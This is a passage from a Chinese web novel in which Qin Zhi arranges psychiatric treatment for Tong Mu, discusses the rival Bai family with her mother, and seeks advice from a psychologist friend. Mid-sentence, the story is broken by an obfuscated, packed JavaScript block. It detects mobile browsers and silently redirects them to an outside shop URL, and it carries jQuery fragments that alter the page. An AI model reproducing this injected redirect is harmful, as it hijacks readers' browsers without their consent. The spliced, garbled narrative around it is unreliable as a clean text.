“童沐的检查结果出来了,精神分裂。可能要住院治疗。”
秦芷跟柏苑通着电话:“医生建议尽快,需要人陪护,平时尽量不要刺激到她。所以我们的调查先不要告诉她。”
“可我觉得,是不是先让她看到一点希望?”
柏苑那边的声音很嘈杂,还有过减速带的颠簸:“她连见到一个能看出画中感情的人都这样高兴,要是知道葛欢这些年的异常,说不定……”
“说不定会告诉所有人。”秦芷打断了他的话。
“……”
“你怎么想的?难道你还指望一个精神不正常的人会保守秘密?”秦芷百思不得其解,昨天才觉得他有些才智,今天就听见这番不过脑子的话,气不打一处来,“她只会恨不得告诉全天下!”
柏苑不吱声了。秦芷没好气挂断电话,一低头和坐在车里面的童沐对上眼了。她上前敲敲车窗,李秘书将车窗降下来,她换上一种较为平和的声线到:“你现在好点了吗?”
童沐定定看着她,好半天把目光投向了不远处的医院上面的招牌,问道:“我是不是疯了?”
“你觉得呢?”秦芷反问。
“我这几天清醒了点,我好想记起来我是谁了,哦对,我是不是早就疯了?”童沐张开十指看了一会儿,突然猛地一抬头,“现在是几号了?我爸爸妈妈找过我吗?”
“还有人找他们吗?报警,我要报警,他们不能去骚扰我父母。”
童沐原本清澈的眼光一瞬间再次混沌起来,她推开门就想要下车,但是车门已经被锁住了。秦芷看了她一会儿,伸手箍住她的下巴强迫她往前面看:“看见那辆车了吗?里面都是我找的保镖,保镖知道是什么吧?”
“只要你听话,乖乖跟着医生治疗,我就让他们去把骚扰你父母的那些人都赶走。”
童沐挣扎着,眼神里透露出一种无助的焦急:“你帮我……你为什么帮我?你一定得帮我……”
听到她问出这个问题,秦芷知道她才是真的恢复了几分神志,她松开手:“我会帮你的。”
童沐看着她,秦芷循循善诱:“我也想帮你,但你现在的精神状况,就算找到了被诬陷的证据,你的话也没有任何效力啊。没人会相信你说的话。”
秦芷用着尽量温柔的语调哄着童沐:“所以你要是想证明自己,你就必须好好治疗,听懂了吗?”
见童沐点头,秦芷对李秘书道:“去带她买几身衣服和生活用品,她想要的话再买点画具,然后帮她办理住院吧。记得找几个干净靠谱的护工,以及单人病房。每天都要跟进一下治疗进度。”
“行了,你们走吧。”她起身示意。
李秘书:“我先送您回去吧?”
“我还有事,”秦芷摆手,“你要记住,你这几天最要紧的就是看好她。”
目送两辆车离开,秦芷打开手机拨通了徐筝的电话:“妈妈,下午好。”
“下午好啊宝贝儿,”徐筝几乎是秒接,“这几天一直都没回家,不要这么辛苦,累坏了是不是?”
“还好,您才是多注意身体。”
秦芷每次叫妈妈都有种心虚感,好像是拿着从别人那里偷来的宝物摩梭珍藏。她小心斟酌着用词,“妈妈,我听柏苑说,最近那个玉矿的事,柏叔叔好像不太高兴?”
“你管他做什么?”徐筝漫不经心道,“讨饭吃还敢嫌粥凉,没有这样的道理。”
徐筝的语气太轻蔑,秦芷听得心里微微一惊:“妈妈,您的意思是……”
“我听说你让柏苑他四叔当负责人的事了,你做的就很好。既能让柏家分一杯羹,不显得咱们太吝啬,毕竟是订了婚的亲家;又让他们自己斗,消耗消耗精力,省的一天天来追款。”
秦芷皱眉:“怎么,前几期的投资不是已经到位了吗?应该够他们缓解燃眉之急的。”
“他们拖欠了大概三分之一员工的工资,”徐筝凉凉地说,“重新评估客户信用的时候要求加班,员工就闹起来了,要求先支付上半年的绩效和奖金,闹得特别大,我才知道这件事。”
秦芷想了想,现在和古代的用人方式可不一样,员工人身自由度很高。她不相信柏家的员工如此衷心,能在拖欠工资的情况下还为柏式集团坚守岗位:“他们是怎么捂住员工的嘴的?”
“柏家有点运道在身上,这些年做什么成什么,很少有失误的时候。这导致他们扩张节奏太快,一个点出问题就容易因此崩盘,但同时员工的粘性也会很高,因为奖金是业内顶尖。”
秦芷了然:“他们的员工知道跳槽之后不会有那么高的奖金了,所以一直在等,等柏家翻盘。”
“没错。所以柏辰他爸这几天一直在跟你爸爸打电话,问能不能把后面的款项提前支付。结果你爸爸还没答应,你先把柏家老四给支上去了。”
秦芷想起网上清一色的好评:“他把拖欠的工资给补上了!”
徐筝轻笑一声:“是啊。现在柏家内部正在站队开撕,你不用太操心,看着来就行,心情好了给几个项目,看谁顺眼给谁撑腰,都看你。”
拿不太重要的事情给孩子练手其实是贵胄世家常见的操作,秦芷自然知道,但她长这么大从来没感受过,一时间嗓子发堵:“妈妈,您不怕我干不好吗?”
“不好就不好,”徐筝道,“你还年轻,谁年轻的时候不犯错?我和你爸爸也会帮你的。再说了,玉矿的项目做的就很好,开发的方向也跟上了号召的政策。你爸爸在你这个年纪连法条都看不懂呢。”
“……”秦芷一阵心虚,她也看不懂啊。
“好了,妈妈先去开会了。你不要有负担,想做什么就去做,凡事有我和你爸爸兜底呢。累了回家休息。”
“好的,妈妈再见。”秦芷乖乖听着那头的忙音,手机刚放下,一拍脑门——她本来是想问问徐筝有没有可靠的秘书借她用用的。
算了,她再找找吧。
*
“所以病人这几年都没有接受过心理咨询和治疗对吗?”
秦芷看着窗外的夜景,倒是没有预料过这样的问题:“这个很重要?”
“单凭外界压力导致
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803269|186537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的精神崩溃,听上去很令人难过,但是和受到不正确引导相比,其实更容易治疗些。”
“你是个谨言慎行的人,”除了面对柏辰的时候,“你为什么会问这样的问题?是觉得哪里不对吗?”
林敏山的回答很委婉:“我才疏学浅,见过的病人并不多,不能下定论,但根据你的描述,我总觉得哪里不对——当然了,并不是说所有的病人都会按照教科书来生病。我只是想说这个病人的话,你最好先问清楚她的就诊史。”
“你怀疑有人之前故意诱导,加重这个人的病情。”秦芷可没有那么多顾忌,直截了当的问,“那我应该怎么在刺激病人的前提下问清楚呢?”
林敏山的声音隔着半个地球传过来:“建议你找个靠谱的三甲医院的医生,问问他的意见。”
秦芷:“今天下午我已经带着她去了T市的公立医院,但是医生并没有提到这种可能。”
“……”
林敏山一时没有说话。
“你觉得,那个医生是出于怎样的考虑才会略过,或者没有考虑到这种可能性?”
秦芷的态度很明显,她不怀疑林敏山的判断,但是她遇见的医生可没有点出这一点。林敏山似乎是走到了什么僻静的地方,小声道:“我觉得这已经是很明显的可能性了。如果医生压根没有跟你说,那一般只有两种可能。”
“一是这个医生压根不专业,二呢,就是医生可能觉得你们不是病人的监护人或者朋友,”林敏山说,:“换言之,他不信任你们。”
“我建议你现在先跟医生说一下你们的关系……”
这句话还没说完,李秘书的消息已经发了过来:“小秦总,您来一趟吧。我们这边被警方调查了。”
秦芷一怔,很快明白过来:林敏山说中了,之前问询的医生不信任他们,报警了!
她思索片刻,问电话那头:“你没猜错,医认为我们不可信,已经报警了。”
林敏山尴尬的笑了一下:“……我也只是猜测来着。”
“没关系,所以请问,我现在应该怎么解释才能跟警察说清楚?”秦芷苦笑一声,“劳驾给个锦囊妙计吧。”
她声音瞬间愁苦非常:“你知道的,我不了解这些,万一解释不清,我是不是会把就得住在警局了?”
“怎么可能,你实话实说就行。”林敏山赶紧安慰。
秦芷叹息,收拾东西往外走。挂断手机之前佯装无意的抱怨:“你说我这算不算好心办坏事?就像之前帮姓陈的那位老匠人找孙女一样,最后却把柏辰给坑了……哎呀,我是不是不该跟你说这个?”
“其实是因为这个病人跟柏辰也有点关系,我一时间想的远了,”秦芷全是真情实感,“学姐,你可千万别多想。”
她上了车示意司机往下午接她的地方开,一直没有挂电话。
果然,大概两三分钟之后,那头说:“……内个,你还在吗?”
“要不你把这个病人的诊断记录给我看一下吧,我也可以和她在网上聊聊。”林敏山说,“你要是不介意的话。”